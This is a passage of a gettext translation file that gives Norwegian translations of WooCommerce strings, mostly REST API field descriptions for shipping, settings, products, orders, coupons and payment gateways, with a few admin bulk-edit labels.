#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zones-v2-controller.php:291
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:42
msgid "Shipping zone name."
msgstr "Fraktsone navn."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:489
msgid "Shipping method settings."
msgstr "Innstillinger for fraktmåte."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:466
msgid "Shipping method enabled status."
msgstr "Fraktmåte aktivert status."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:461
msgid "Shipping method sort order."
msgstr "Fraktmåtens sorteringsrekkefølge."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:455
msgid "Shipping method customer facing title."
msgstr "Fraktmåtens tittel som vises til kunden."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:443
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:449
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:67
msgid "Shipping method instance ID."
msgstr "Forekomst-id for fraktmåte."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:234
msgid "Shipping methods do not support trashing."
msgstr "Fraktmåter kan ikke legges i papirkurven."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:181
msgid "Resource cannot be created."
msgstr "Ressursen kunne ikke opprettes."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:64
msgid "Unique ID for the instance."
msgstr "Unik ID for forekomsten."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:29
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:60
msgid "Unique ID for the zone."
msgstr "Unik ID for sonen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-locations-v2-controller.php:178
msgid "Shipping zone location type."
msgstr "Fraktsone plasseringstype."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-locations-v2-controller.php:173
msgid "Shipping zone location code."
msgstr "Fraktsone plasseringskode."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-locations-v2-controller.php:29
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zones-v2-controller.php:54
#: src/Admin/API/Customers.php:51 src/Admin/API/Notes.php:61
msgid "Unique ID for the resource."
msgstr "Unik ID for ressursen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-methods-v2-controller.php:215
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:483
msgid "Shipping method description."
msgstr "Fraktmåtens beskrivelse."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-methods-v2-controller.php:209
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:477
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:71
msgid "Shipping method title."
msgstr "Fraktmåtens tittel."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-methods-v2-controller.php:203
msgid "Method ID."
msgstr "Metode ID."
#: includes/rest-api/Controllers/Version2/class-wc-rest-settings-v2-controller.php:222
#: includes/rest-api/Controllers/Version3/class-wc-rest-settings-controller.php:103
msgid "IDs for settings sub groups."
msgstr "IDer for undergruppe innstillinger."
#: includes/rest-api/Controllers/Version2/class-wc-rest-settings-v2-controller.php:216
#: includes/rest-api/Controllers/Version3/class-wc-rest-settings-controller.php:98
msgid "ID of parent grouping."
msgstr "ID forelder gruppering."
#: includes/rest-api/Controllers/Version2/class-wc-rest-settings-v2-controller.php:198
#: includes/rest-api/Controllers/Version3/class-wc-rest-settings-controller.php:83
msgid "A unique identifier that can be used to link settings together."
msgstr "En unik identifikator som kan brukes til å koble innstillinger sammen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-settings-v2-controller.php:63
msgid "No setting groups have been registered."
msgstr "Ingen innstillingsgrupper har blitt registrert."
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:595
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:240
msgid "Array of options (key value pairs) for inputs such as select, multiselect, and radio buttons."
msgstr "Rekke alternativer (key value pairs) for inputs som select, multiselect, og radio buttons."
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:241
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:253
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:259
msgid "Invalid setting."
msgstr "Ugyldig verdi."
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:165
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:172
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:76
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:82
msgid "Invalid setting group."
msgstr "Ugyldig innstillingsgruppe."
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:47
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:66
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:86
msgid "Settings group ID."
msgstr "Innstillinger gruppe-ID."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2416
msgid "Limit result set to products based on a maximum price."
msgstr "Avgrens resultat til produkter basert på maksimum pris."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2410
msgid "Limit result set to products based on a minimum price."
msgstr "Avgrens resultat til produkter basert på minimum pris."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2404
#: src/StoreApi/Routes/V1/Products.php:367
msgid "Limit result set to products on sale."
msgstr "Avgrens resultat til produkter på salg."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2398
msgid "Limit result set to products in stock or out of stock."
msgstr "Avgrens resultat til produkter som er på lager eller utsolgt."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2389
msgid "Limit result set to products with a specific tax class."
msgstr "Avgrens resultat til produkter med en bestemt avgiftsklasse."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2351
#: src/StoreApi/Routes/V1/Products.php:286
msgid "Limit result set to featured products."
msgstr "Avgrens resultat til fremhevede produkter."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2261
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1765
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1771
msgid "List of variations IDs."
msgstr "Liste over variant-IDer."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1748
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1208
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1214
msgid "The date the product was last modified, as GMT."
msgstr "Dato da produktet sist ble redigert, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1736
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1197
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1203
msgid "The date the product was created, as GMT."
msgstr "Dato da produktet ble opprettet, i GMT."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1916
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2393
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:846
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1899
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:675
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1364
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1370
msgid "Number of days until access to downloadable files expires."
msgstr "Antall dager før adgang til nedlastbare filer utløper."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1910
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2387
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:840
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1893
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:669
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1358
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1364
msgid "Number of times downloadable files can be downloaded after purchase."
msgstr "Antall ganger nedlastbare filer kan lastes ned etter kjøp."
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:775
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1822
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:601
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:606
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1287
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1292
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1293
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1298
msgid "End date of sale price, in the site's timezone."
msgstr "Sluttdato for tilbudspris, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:770
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1817
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:596
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1282
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1288
msgid "Start date of sale price, as GMT."
msgstr "Startdato for tilbudspris, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:765
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1812
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:591
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1277
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1283
msgid "Start date of sale price, in the site's timezone."
msgstr "Startdato for tilbudspris, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:169
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:864
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:70
msgid "The date the review was created, as GMT."
msgstr "Dato da omtalen ble opprettet, i GMT."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:555
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:159
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:905
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:108
msgid "The content of the review."
msgstr "Omtalens innhold."
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:173
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:970
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2161
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:173
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:805
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1664
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1670
msgid "The date the image was last modified, as GMT."
msgstr "Dato for siste endring av bildet, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:161
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:958
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2149
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:161
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:793
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1652
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1658
msgid "The date the image was created, as GMT."
msgstr "Dato da bildet ble opprettet, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:447
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:576
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:536
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:214
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:221
msgid "Placeholder text to be displayed in text inputs."
msgstr "Plassholdertekst som skal vises i tekstfelt."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:441
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:567
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:530
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:208
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:212
msgid "Additional help text shown to the user about the setting."
msgstr "Ekstra hjelptekst om innstillingen som vises til brukeren."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:435
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:561
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:524
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:202
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:206
msgid "Default value for the setting."
msgstr "Standard verdi for innstillingen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:430
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:556
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:519
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:197
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:201
msgid "Setting value."
msgstr "Innstilt verdi."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:423
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:585
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:512
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:190
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:230
msgid "Type of setting."
msgstr "Type innstilling."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:417
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:547
#: includes/rest-api/Controllers/Version2/class-wc-rest-settings-v2-controller.php:210
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:506
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:184
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:192
#: includes/rest-api/Controllers/Version3/class-wc-rest-settings-controller.php:93
msgid "A human readable description for the setting used in interfaces."
msgstr "En lesbar beskrivelse for innstillingen som brukes i grensesnittet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:411
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:538
#: includes/rest-api/Controllers/Version2/class-wc-rest-settings-v2-controller.php:204
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:500
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:178
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:183
#: includes/rest-api/Controllers/Version3/class-wc-rest-settings-controller.php:88
msgid "A human readable label for the setting used in interfaces."
msgstr "En lesbar etikett for innstillingen som brukes i grensesnittet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:405
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:529
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:494
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:172
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:165
msgid "A unique identifier for the setting."
msgstr "En unik identifikator for innstillingen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:400
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:167
msgid "Payment gateway settings."
msgstr "Innstillinger for betalingsløsning."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:394
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:152
msgid "Payment gateway method description."
msgstr "Beskrivelse av betalingsløsningens betalingsmåte."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:388
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:146
msgid "Payment gateway method title."
msgstr "Tittel på betalingsløsningens betalingsmåte."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:383
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:141
msgid "Payment gateway enabled status."
msgstr "Aktivert status for betalingsløsning."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:375
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:133
msgid "Payment gateway sort order."
msgstr "Sorteringsrekkefølge for betalingsløsning."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:370
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:128
msgid "Payment gateway description on checkout."
msgstr "Beskrivelse for betalingsløsning i kassen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:365
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:123
msgid "Payment gateway title on checkout."
msgstr "Tittel på betalingsløsning i kassen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:359
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:117
msgid "Payment gateway ID."
msgstr "Id for betalingsløsning."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1450
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:412
msgid "The date the order was completed, as GMT."
msgstr "Dato da ordren ble fullført, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1438
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:398
msgid "The date the order was paid, as GMT."
msgstr "Dato da ordren ble betalt, i GMT."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1036
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1222
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:175
msgid "The date the order was last modified, as GMT."
msgstr "Dato da ordren sist ble redigert, i GMT."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1018
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1184
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:128
msgid "Version of WooCommerce which last updated the order."
msgstr "WooCommerce versjon som sist oppdaterte ordren."
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:856
msgid "When true, the payment gateway API is used to generate the refund."
msgstr "Når sant, brukes betalingsløsningens API for å generere refusjonen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:410
msgid "User ID of user who created the refund."
msgstr "Bruker-ID av brukeren som opprettet refusjonen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:394
msgid "The date the order refund was created, as GMT."
msgstr "Dato da ordren ble refundert, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-notes-v2-controller.php:173
msgid "Limit result to customers or internal notes."
msgstr "Avgrens resultatet til kunder eller interne notater."
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-notes-v2-controller.php:152
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:151
msgid "If true, the note will be shown to customers and they will be notified. If false, the note will be for admin reference only."
msgstr "Hvis sant, notatet vises til kunder og de vil bli informert. Hvis usant, notatet er kun som referanse for admin."
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-notes-v2-controller.php:141
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:140
#: src/RestApi/Routes/V4/OrderNotes/Schema/OrderNoteSchema.php:65
msgid "The date the order note was created, as GMT."
msgstr "Dato da ordrenotatet ble opprettet, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:342
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:243
msgid "Is the customer a paying customer?"
msgstr "Er kunden en betalende kunde?"
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:760
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:180
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:76
msgid "The date the customer was last modified, as GMT."
msgstr "Dato da kunden sist ble redigert, i GMT."
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1030
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1210
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:161
msgid "The date the order was created, as GMT."
msgstr "Dato da ordren ble opprettet, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:135
msgid "The date when download access expires, as GMT."
msgstr "Utløpsdato for nedlastingstilgangen, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:527
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:373
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:428
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:552
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:645
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:736
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:834
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1469
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1586
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1712
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1803
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1901
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1977
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:1036
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2290
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:262
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:866
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1795
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1801
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:36
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:432
msgid "Meta ID."
msgstr "Meta ID."
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:520
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:366
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:421
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:544
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:638
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:729
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:827
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1462
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1579
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1705
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1796
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1894
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1970
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:1029
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2283
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:255
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:859
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1788
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1794
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:29
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:425
msgid "Meta data."
msgstr "Metadata."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:552
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:511
msgid "List of user IDs (or guest email addresses) that have used the coupon."
msgstr "Liste over bruker-ider (eller gjesters e-postadresser) som har brukt rabattkoden."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:528
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:487
msgid "If true, this coupon will not be applied to items that have sale prices."
msgstr "Hvis sant vil rabattkoden ikke gjelde for produkter som har en tilbudspris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:506
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:465
msgid "If true and if the free shipping method requires a coupon, this coupon will enable free shipping."
msgstr "Hvis sant, og hvis «Gratis levering» krever en rabattkode, vil denne rabattkoden gi gratis levering."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:491
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:450
msgid "How many times the coupon can be used in total."
msgstr "Antall ganger rabattkoden kan brukes totalt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:469
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:428
msgid "If true, the coupon can only be used individually. Other applied coupons will be removed from the cart."
msgstr "Hvis sant, kan denne rabattkoden kun brukes individuelt. Andre brukte rabattkoder vil fjernes fra handlekurven."
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:417
msgid "The date the coupon expires, as GMT."
msgstr "Utløpsdato for rabattkoden, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:412
msgid "The date the coupon expires, in the site's timezone."
msgstr "Utløpsdato for rabattkoden, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:394
msgid "The date the coupon was last modified, as GMT."
msgstr "Dato når rabattkoden sist ble redigert, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:382
msgid "The date the coupon was created, as GMT."
msgstr "Dato når rabattkoden ble opprettet, i GMT."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:453
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:366
msgid "The amount of discount. Should always be numeric, even if setting a percentage."
msgstr "Størrelse på rabatt. Bør alltid være numerisk, også når du bruker prosentdel."
#. translators: %s: amount of errors
#: includes/class-wc-rest-authentication.php:330
msgid "Missing OAuth parameter %s"
msgid_plural "Missing OAuth parameters %s"
msgstr[0] "Mangler OAuth parameter %s"
msgstr[1] "Mangler OAuth parametere %s"
#: includes/admin/views/html-report-by-date.php:20
msgid "From %1$s to %2$s"
msgstr "Fra %1$s til %2$s"
#: includes/admin/views/html-bulk-edit-product.php:59
msgid "Set to regular price decreased by (fixed amount or %):"
msgstr "Angi på ordinær pris redusert med (fast beløp eller %):"
#: includes/admin/views/html-bulk-edit-product.php:58
msgid "Decrease existing sale price by (fixed amount or %):"
msgstr "Redusere eksisterende tilbudspris med (fast beløp eller %):"
#: includes/admin/views/html-bulk-edit-product.php:57
msgid "Increase existing sale price by (fixed amount or %):"
msgstr "Øke eksisterende tilbudspris med (fast beløp eller %):"
#: includes/admin/views/html-bulk-edit-product.php:31
#: includes/admin/views/html-bulk-edit-product.php:55
#: includes/admin/views/html-bulk-edit-product.php:81
#: includes/admin/views/html-bulk-edit-product.php:107
#: includes/admin/views/html-bulk-edit-product.php:126
#: includes/admin/views/html-bulk-edit-product.php:155
#: includes/admin/views/html-bulk-edit-product.php:193
#: includes/admin/views/html-bulk-edit-product.php:239
#: includes/admin/views/html-bulk-edit-product.php:256
